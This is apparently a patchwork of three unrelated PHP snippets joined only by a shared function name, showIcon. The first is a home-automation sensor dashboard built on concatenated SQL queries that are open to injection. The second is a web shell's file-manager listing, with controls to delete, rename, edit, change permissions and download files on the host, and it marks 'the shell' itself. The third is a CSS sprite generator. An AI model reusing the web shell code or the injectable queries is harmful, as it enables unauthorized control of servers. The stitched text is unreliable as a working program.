$query7 = "SELECT * FROM peripheriques WHERE periph = 'luminosite' AND id_plan = '".$data['id']."' AND icone ='1'"; $req7 = mysql_query($query7, $link) or die('Erreur SQL !<br>'.$sql.'<br>'.mysql_error()); while($data9 = mysql_fetch_assoc($req7)) { $query0 = "SELECT * FROM `luminosite_".$data9['nom']."` ORDER BY `date` DESC LIMIT 1"; $req0 = mysql_query($query0, $link) or die('Erreur SQL !<br>'.$sql.'<br>'.mysql_error()); if ($req0 && mysql_numrows($req0) > 0) { $data0 = mysql_fetch_assoc($req0); $valeur=$data0['lum']; } else { $valeur = ""; } $url = "javascript:showPopupTab('custom".$data['id']."', '#tabs-".$data['id']."', '#tabs-".$data['id']."-8');"; showIcon($data, $data9, $valeur, "", "", "", $url); } ?> </a> <script type="text/javascript"> $(document).ready(function() { $("#tabs-<? echo $data['id']; ?>").tabs(); }); </script> <div id="custom<? echo $data['id']; ?>" style="position: fixed;display: none;left: 50%;top: 50%;z-index: 2000;padding: 10px;width:640px;max-height:90%;background-color: #EEEEEE;font-size: 12px;line-height: 16px;color: #202020;border : 3px outset #555555;"> <div id="tabs-<? echo $data['id']; ?>" class="ui-tabs ui-widget ui-widget-content ui-corner-all"> <ul class="ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" style="width: 640px;"> <? if(!($data3 == null)){ ?> <li class="ui-state-default ui-corner-top"><a href="#tabs-<? echo $data['id']; ?>-1">Température</a></li>
<td> <div onclick="showUI(\'del\', this);return false;" class="image del"></div> <div onclick="showUI(\'ren\', this);return false;" class="image rename"></div> <div onclick="ajaxLoad(\'me=file&md=info&t=\' + euc(dpath(this, true)));return false;" class="image info"></div> <div onclick="ajaxLoad(\'me=file&md=edit&t=\' + euc(dpath(this, true)));return false;" class="image edit"></div> </td> </tr>'; } foreach ($filedata as $file) { $sBuff .= '<tr data-path="' . $file . '" class="' . ($bg++ % 2 == 0 ? 'alt1' : 'alt2') . '"> <td width="2%"><input type="checkbox" value="' . $file . '" name="dl[]"></td><td>'; //mark shell name in yellow if ($currentdir . $file === __FILE__) { $sBuff .= '<div class="image php"></div><font class="my">' . $file . '</font>'; } else { $sBuff .= showIcon($file) . ' <a href="' . str_replace(SROOT, '', $file) . '" target="_blank">' . $file . '</a>'; } //$_SERVER['DOCUMENT_ROOT'] //uso esa variable para saber si corresponde o no el link al archivo $sBuff .= '</td><td><a href="#" onclick="showUI(\'mdate\', this);return false;">' . date($config['datetime'], filemtime($currentdir . $file)) . '</a></td> <td>' . sizecount(filesize64($currentdir . $file)) . '</td> ' . (!$isWIN ? '<td><a href="#" onclick="showUI(\'mpers\', this);return false;">' . vPermsColor($currentdir . $file) . '</a> ' . getUser($currentdir . $file) . '</td>' : '') . ' <td> <div onclick="showUI(\'del\', this);return false;" class="image del"></div> <div onclick="showUI(\'ren\', this);return false;" class="image rename"></div> <div onclick="ajaxLoad(\'me=file&md=info&t=\' + euc(dpath(this, true)));return false;" class="image info"></div> <div onclick="ajaxLoad(\'me=file&md=edit&t=\' + euc(dpath(this, true)));return false;" class="image edit"></div> <div onclick="dl(this);return false;" class="image download"></div> </td></tr>'; } $sBuff .= '</tbody><tfoot><tr class="' . ($bg++ % 2 == 0 ? 'alt1' : 'alt2') . '">
<!--ZZ_sprite--> <div class="sprite"> <div class="container"> <div class="row"> <div class="col-lg-12"> <?php $BaseClass = 'glyphicon-sprite'; $spritepath = '/img/sprite.png'; $gridsize = 16; $IconArray = array('sitemap' => showIcon(0, 0, 1, 1), 'facebook' => showIcon(1, 0, 1, 1), 'twitter' => showIcon(2, 0, 1, 1), 'google-plus' => showIcon(3, 0, 1, 1), 'rss' => showIcon(4, 0, 1, 1), 'user' => showIcon(5, 0, 1, 1), 'heart' => showIcon(6, 0, 1, 1), 'lock' => showIcon(7, 0, 1, 1), 'search' => showIcon(8, 0, 1, 1), 'old-phone' => showIcon(9, 0, 1, 1), 'basket' => showIcon(10, 0, 1, 1), 'marker' => showIcon(11, 0, 1, 1), 'envelope' => showIcon(12, 0, 1, 1), 'fax' => showIcon(13, 0, 1, 1), 'phone' => showIcon(14, 0, 1, 1), 'trolley' => showIcon(15, 0, 1, 1), 'box' => showIcon(16, 0, 1, 1), 'cute' => showIcon(17, 0, 1, 1), 'nova-poshta' => showIcon(18, 0, 1, 1), 'truck' => showIcon(19, 0, 1, 1), 'sitemap-hover' => showIcon(0, 1, 1, 1), 'facebook-hover' => showIcon(1, 1, 1, 1), 'twitter-hover' => showIcon(2, 1, 1, 1), 'google-plus-hover' => showIcon(3, 1, 1, 1), 'rss-hover' => showIcon(4, 1, 1, 1), 'user-hover' => showIcon(5, 1, 1, 1), 'heart-hover' => showIcon(6, 1, 1, 1), 'lock-hover' => showIcon(7, 1, 1, 1), 'search-hover' => showIcon(8, 1, 1, 1), 'old-phone-hover' => showIcon(9, 1, 1, 1), 'basket-hover' => showIcon(10, 1, 1, 1), 'marker-hover' => showIcon(11, 1, 1, 1), 'envelope-hover' => showIcon(12, 1, 1, 1), 'fax-hover' => showIcon(13, 1, 1, 1), 'phone-hover' => showIcon(14, 1, 1, 1), 'trolley-hover' => showIcon(15, 1, 1, 1), 'box-hover' => showIcon(16, 1, 1, 1), 'cute-hover' => showIcon(17, 1, 1, 1), 'nova-poshta-hover' => showIcon(18, 1, 1, 1), 'truck-hover' => showIcon(19, 1, 1, 1), 'caret-up' => showIcon(0, 2, 1, 1), 'star-black' => showIcon(1, 2, 1, 1), 'show-block' => showIcon(2, 2, 1, 1), 'show-string' => showIcon(3, 2, 1, 1), 'select-unchecked' => showIcon(4, 2, 1, 1), 'radio-onchecked' => showIcon(5, 2, 1, 1), 'link' => showIcon(6, 2, 1, 1), 'caret-down' => showIcon(0, 3, 1, 1), 'star-white' => showIcon(1, 3, 1, 1), 'show-block-disabled' => showIcon(2, 3, 1, 1), 'show-string-disabled' => showIcon(3, 3, 1, 1), 'select-checked' => showIcon(4, 3, 1, 1), 'radio-checked' => showIcon(5, 3, 1, 1), 'select-mixed' => showIcon(6, 3, 1, 1), 'add' => showIcon(7, 3, 1, 1), 'caret-up-md' => showIcon(8, 2, 2, 1), 'caret-up-md-hover' => showIcon(8, 3, 2, 1), 'caret-down-md' => showIcon(10, 2, 2, 1), 'caret-down-md-hover' => showIcon(10, 3, 2, 1), 'caret-left-md' => showIcon(12, 2, 1, 2), 'caret-left-md-hover' => showIcon(13, 2, 1, 2), 'caret-right-md' => showIcon(14, 2, 1, 2), 'caret-right-md-hover' => showIcon(15, 2, 1, 2), 'success' => showIcon(16, 2, 2, 2), 'error' => showIcon(18, 2, 2, 2), 'slider-left' => showIcon(0, 4, 3, 3), 'slider-right' => showIcon(3, 4, 3, 3), 'docs' => showIcon(6, 4, 3, 3), 'baner-money' => showIcon(0, 7, 4, 4), 'baner-tasks' => showIcon(4, 7, 4, 4), 'baner-winner' => showIcon(8, 7, 4, 4)); function showIcon($left, $top, $width, $height) { global $gridsize; $left = $left * $gridsize; $top = $top * $gridsize; $width = $width * $gridsize; $height = $height * $gridsize; $css_prop = '	background-position: -' . $left . 'px -' . $top . 'px; '; $css_prop .= $width > $gridsize ? '	width: ' . $width . 'px; ' : ''; $css_prop .= $height > $gridsize ? '	height: ' . $height . 'px; ' : ''; return $css_prop; } function CreateSpriteCss($array, $prefix) { global $BaseClass; global $gridsize; global $spritepath; $output = '.' . $BaseClass . '{' . ' 	background: url(\'' . $spritepath . '\') no-repeat;' . ' 	width: ' . $gridsize . 'px;' . ' 	height: ' . $gridsize . 'px;' . ' 	display:inline-block; } '; foreach ($array as $key => $value) { $output .= '.' . $prefix . '-' . $key . ' { ' . $value . '} '; }